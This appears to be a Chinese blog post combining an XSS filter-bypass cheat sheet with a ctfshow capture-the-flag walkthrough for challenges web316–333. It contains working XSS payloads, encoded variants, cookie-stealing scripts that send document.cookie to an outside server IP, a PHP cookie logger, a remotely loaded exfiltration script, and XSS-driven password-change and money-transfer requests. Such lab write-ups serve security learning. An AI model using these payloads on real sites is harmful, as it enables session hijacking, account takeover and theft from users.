XSS(ctfshow)

xss绕过技巧

基础标签(通用绕过)

|--------------|---------------------------------------|------------------|
| 标签 | 示例 payload | 适用场景 |
| <script> | <script>alert(1)</script> | 基础注入,易被过滤 |
| <img> | <img src=x onerror=alert(1)> | 利用onerror 事件触发 |
| <svg> | <svg/onload=alert(1)> | 短小高效,绕过空格过滤 |
| <iframe> | <iframe src="javascript:alert(1)"> | 嵌入JS伪协议 |
| <a> | <a href="javascript:alert(1)">x</a> | 需用户点击触发 |
| <body> | <body onload=alert(1)> | 页面加载时触发 |

事件处理器

通过HTML事件属性触发JS代码,无需<script>标签:

|---------------|---------------------------------------|----------------|
| 事件属性 | 示例 payload | 说明 |
| onerror | <img src=x onerror=alert(1)> | 图片加载失败时触发 |
| onload | <body onload=alert(1)> | 页面/元素加载完成时触发 |
| onmouseover | <div onmouseover=alert(1)>x</div> | 鼠标悬停触发(需交互) |
| onfocus | <input autofocus onfocus=alert(1)> | 元素获取焦点时触发(需交互) |
| onclick | <button onclick=alert(1)>x</button> | 点击触发(需交互) |

冷门标签(绕过WAF)

|-------------|------------------------------------------|------------------|
| 标签 | 示例 payload | 绕过思路 |
| <details> | <details open ontoggle=alert(1)> | 利用ontoggle 事件 |
| <audio> | <audio src=x onerror=alert(1)> | 类似<img> 但较少被过滤 |
| <video> | <video><source onerror=alert(1)> | 多标签嵌套绕过 |
| <marquee> | <marquee onscroll=alert(1)>x</marquee> | 老旧标签,可能绕过检测 |
| <embed> | <embed src=javascript:alert(1)> | 嵌入JS伪协议 |

编码与混淆绕过

1. HTML实体编码
复制代码
&lt;img src=x onerror=alert(1)&gt;
2. JS编码
复制代码
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x31\x29')>
3. Unicode编码
复制代码
<img src=x onerror=alert(1)>
<!-- 等价于 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>

特殊场景绕过技巧

1. 闭合已有标签
复制代码
</textarea><script>alert(1)</script>
2. 利用属性注入
复制代码
<input type="text" value="" autofocus onfocus=alert(1)>
3. CSS注入
复制代码
<style>@import url("javascript:alert(1)");</style>

AJAX 请求

  • 定义:异步javascript和xml,一种无需重新加载整个网页的情况下,能够更新部分网页的技术

  • 特点:异步通信,局部刷新,基于 XMLHttpRequest 对象

jQuery AJAX

复制代码
$.ajax({
  url: "example.php",
  method: "POST",
  data: { name: "John", age: 30 },
  success: function(response) {
    console.log(response);
  }
});

web316

简单测试一下**<script>alert(1)</script>** 语句,发现可行

此脚本实现的功能为从URL的GET参数获取cookie值,并且把当前时间格式化追加到cookie.txt文件

在服务器端设置一个php文件获取网站cookie

在题目中输入此代码访问

复制代码
<script>location.href="http:/(自己服务器的公网ip)/test.php?cookie="+document.cookie</script>
//location.href = "..." 强制浏览器跳转到指定的url,并获取当前网站的所有cookie

可以看到服务器端已经出现了cookie.text文件,其中就有flag

web317-319

简单测试一下**<script>alert(1)</script>**语句,发现不可行

可以用body标签

318 319一样

web320-321(过滤空格)

空格可以用**%09(tab)** 、/ 、**/**/、%0a(换行)**代替

复制代码
<body/**/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>
<body/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>

web322-326

过滤了script,img,iframe,xss,空格,分号,逗号。

复制代码
<body/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>

web327(存储型)

这里的收件人要是admin,payload是一样的

web328

在注册页面输入payload

复制代码
<script>document.location.href="http://47.111.94.227/test.php?cookie="+document.cookie</script>

返回

者应该是管理员的cookie值

把cookie值改成PHPSESSID=fofmvp71963lcr1olhqdhpaos0,改包发送,得到flag

web329

根据上题的思路再次尝试,发现不行,应该是cookie立即失效了

payload,基本思路就是利用js文件进入管理员页面,并直接把相关信息带出

复制代码
<?php 
	$cookie = $_GET['cookie'];
	$myFile = "cookie.txt";
	file_put_contents($myFile, $cookie, FILE_APPEND);
?>

var img = new Image();
img.src = 'http://47.111.94.227/cookie.php+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
  • document.querySelector(...) 的作用是:
  • 通过 CSS 选择器 定位到页面的某个元素。

  • 提取该元素的 textContent(文本内容)。

    <script src=http://47.111.94.227/1.js></script>

    //利用注册输入

返回了admin账号的密码,登录拦截就可以得到

web330

新增了修改密码的功能,抓包看一下,想到构造**<script>document.location.href="** http://127.0.0.1/api/change.php?p=123456"</script>

直接修改管理员密码

这里127.0.0.1是因为数据库是本地的

登录成功后抓包

web331

发现请求方式变成了post

把payload改成post形式的

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}})</script>

登录即可

web332-333

加了一些转账的相关功能

方法一:

先尝试把转账金额改成负数,或者向自己转账都能让钱变多。

方法二:

脚本

复制代码
// a.js
$.ajax({
	url: "http://127.0.0.1/api/amount.php",
	method: "POST",
	data:{
		'u':'test',
		'a':10000
		},
		cache: false,
		success: function(res){
}});

利用注册<script src=" http://47.111.94.227/a.js"></script>

相关推荐
一斤代码6 小时前
vue3 下载图片(标签内容可转图)
前端·javascript·vue
3Katrina7 小时前
深入理解 useLayoutEffect:解决 UI "闪烁"问题的利器
前端·javascript·面试
coderlin_8 小时前
BI布局拖拽 (1) 深入react-gird-layout源码
android·javascript·react.js
伍哥的传说8 小时前
React 实现五子棋人机对战小游戏
前端·javascript·react.js·前端框架·node.js·ecmascript·js
小红卒8 小时前
upload-labs靶场通关详解:第21关 数组绕过
web安全·网络安全·文件上传漏洞
我在北京coding8 小时前
element el-table渲染二维对象数组
前端·javascript·vue.js
布兰妮甜8 小时前
Vue+ElementUI聊天室开发指南
前端·javascript·vue.js·elementui
SevgiliD8 小时前
el-button传入icon用法可能会出现的问题
前端·javascript·vue.js
我在北京coding8 小时前
Element-Plus-全局自动引入图标组件,无需每次import
前端·javascript·vue.js
鱼 空8 小时前
解决el-table右下角被挡住部分
javascript·vue.js·elementui